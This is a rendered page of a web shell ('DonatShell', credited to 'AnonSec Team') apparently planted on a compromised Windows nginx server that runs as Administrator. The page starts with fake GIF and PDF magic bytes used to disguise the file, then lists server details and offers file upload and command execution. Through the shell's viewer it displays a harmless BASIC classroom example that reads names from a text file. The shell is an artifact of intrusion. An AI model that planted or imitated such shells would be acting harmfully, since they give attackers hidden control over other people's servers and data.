GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/_Archive/CST1794/ExampleFiles/FileReadingAndWriting/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/_Archive/CST1794/ExampleFiles/FileReadingAndWriting/read4.bas
' open a file for output
dim info$(10,10)

path$="" ' An example path$ could be: "c:/temp\" 
filename$ = "test.txt"

' Change any / in the path$ to \.
dim pathArray$(len(path$))
pathlength = len(path$)
for i = 1 to pathlength
    pathArray$(i) = mid$(path$,i,1) ' Store the character in pathArray$ 
    if pathArray$(i) = "/" then pathArray$(i) = "\" ' If character is / change to \
next i
path$ = ""
for i = 1 to pathlength
    path$ = path$ + pathArray$(i) ' Put the path$ back together.
next i

' Make sure the file exists.
if fileExists(path$, filename$)=0 then
    print "The file ";filename$;" was not found."
    end
end if

' Create the fullpath$ string.
if len(path$) > 0 then
    if mid$(path$,len(path$),1) <> "\" then
        fullpath$=path$+"\"+filename$ ' Add the \ the the path$/filename$.
    else
        fullpath$=path$+filename$ ' The path$ end with \ so use path$+filename$.
    end if
else
    fullpath$=filename$ ' No path set so use only filename$.
end if

print "Opening ";fullpath$;"."
print

'Open and read the data
open fullpath$ for input as #test
dim fn$(10)
dim ln$(10)
index = 0
while eof(#test) = 0
    'line input #test, text$
    input #test, firstName$,lastName$,junk$
    'print firstName$,lastName$
    index = index+1
    fn$(index) = firstName$
    ln$(index) = lastName$
wend

for i = 1 to index
    print i,fn$(i),ln$(i)
next i

close #test

end

function fileExists(path$, filename$)
  'dimension the array info$( at the beginning of your program
  files path$, filename$, info$()
  fileExists = val(info$(0, 0))  'non zero is true
end function

Anon7 - 2022
AnonSec Team